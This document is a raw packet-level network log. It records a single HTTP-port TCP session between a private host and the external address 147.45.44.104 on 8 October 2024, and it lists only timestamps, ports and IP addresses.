Oct 8, 2024 03:23:05.656471968 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.656481981 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.656488895 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.656500101 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.656513929 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.656514883 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.656532049 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.656542063 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.656542063 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.656559944 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.656565905 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.656572104 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.656589031 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.656614065 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.656621933 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.656651020 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.656665087 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.656682014 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.656701088 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.656797886 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.656809092 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.656825066 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.656835079 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.656848907 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.656852961 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.656867027 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.656873941 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.656883001 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.656888962 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.656900883 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.656917095 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.656924009 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.656949997 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.659352064 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.659360886 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.659379005 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.659399033 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.659420013 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.659430027 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.659446955 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.659457922 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.659483910 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.659486055 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.659495115 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.659533978 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.698291063 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.698302984 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.698322058 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.698332071 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.698344946 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.698369980 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.698401928 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.698441982 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.698452950 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.698470116 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.698477983 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.698503017 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.722208023 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.722264051 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.722271919 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.722285986 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.722297907 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.722302914 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.722316027 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.722323895 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.722331047 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.722346067 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.722347021 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.722384930 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.725610971 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.725630999 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.725641966 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.725657940 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.725666046 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.725671053 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.725692987 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.725703001 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.725713968 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.725729942 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.725738049 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.725761890 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.730483055 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.730492115 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.730509996 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.730529070 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.730529070 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.730542898 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.730557919 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.730570078 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.730578899 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.730583906 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.730607033 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.730616093 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.730663061 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.730673075 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.730688095 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.730695963 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.730709076 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.730719090 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.730730057 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.730740070 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.730752945 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.730760098 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.730767012 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.730777025 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.730792046 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.730799913 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.730823994 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.730848074 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.730856895 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.730874062 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.730880976 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.730891943 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.730910063 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.730937958 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.730952024 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.730954885 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.730971098 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.730986118 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.730997086 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.730998039 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.731023073 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.731034040 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.731065035 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.731076002 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.731091022 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.731101036 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.731103897 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.731118917 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.731128931 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.731142998 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.731158018 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.731172085 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.731183052 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.731198072 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.731224060 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.731225014 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.731235027 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.731255054 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.731257915 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.731280088 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.731287956 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.731298923 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.731307983 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.731333017 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.731353045 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.731400013 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.731405020 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.731415033 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.731443882 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.731446981 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.731455088 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.731471062 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.731479883 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.731491089 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.731498003 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.731518030 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.732601881 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.732623100 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.732635975 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.732647896 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.732682943 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.732711077 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.732729912 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.732739925 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.732753992 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.732763052 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.732764959 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.732789040 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.734071016 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.734080076 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.734096050 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.734118938 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.734146118 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.734174013 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.734184027 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.734204054 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.734219074 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.734219074 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.734229088 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.734256029 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.736211061 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.736224890 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.736239910 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.736248016 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.736262083 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.736273050 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.736275911 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.736305952 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.736308098 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.736319065 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.736356020 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.748400927 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.748411894 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.748430967 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.748449087 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.748452902 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.748461008 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.748481989 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.748485088 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.748517990 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.748565912 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.748575926 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.748591900 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.748603106 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.748605013 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.748620987 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.748634100 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.748790979 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.748801947 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.748820066 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.748826027 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.748836040 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.748851061 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.748859882 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.748867035 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.748881102 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.748878956 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.748900890 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.748909950 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.748929024 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.748951912 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.785146952 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.785159111 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.785177946 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.785190105 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.785214901 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.785214901 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.785224915 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.785235882 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.785262108 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.785264015 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.785274982 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.785341978 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.809190035 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.809211969 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.809222937 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.809251070 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.809293032 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.809304953 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.809324026 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.809334993 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.809335947 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.809367895 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.812514067 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.812524080 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.812541962 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.812563896 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.812576056 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.812577963 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.812587976 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.812607050 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.812619925 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.812639952 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.812664032 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.817478895 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.817509890 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.817529917 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.817539930 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.817549944 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.817557096 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.817572117 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.817668915 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.817678928 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.817696095 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.817706108 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.817715883 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.817725897 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.817738056 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.817742109 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.817758083 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.817766905 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.817769051 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.817789078 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.817792892 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.817823887 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.817832947 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.817836046 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.817861080 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.817868948 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.817872047 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.817888975 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.817910910 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.817912102 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.817922115 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.817945004 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.817950010 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.817958117 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.817977905 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.817986012 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.817989111 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.818008900 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.818010092 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.818038940 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.818041086 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.818051100 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.818070889 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.818080902 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.818084955 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.818100929 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.818110943 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.818114042 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.818139076 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.818159103 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.818172932 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.818175077 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.818191051 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.818202972 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.818223000 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.818236113 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.818238974 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.818257093 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.818269014 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.818272114 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.818300962 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.818327904 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.818330050 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.818331957 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.818341017 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.818350077 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.818371058 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.818375111 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.818382978 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.818401098 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.818402052 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.818414927 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.818416119 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.818434000 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.818442106 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.818473101 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.819408894 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.819430113 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.819437981 CEST	80	49706	147.45.44.104	192.168.2.8
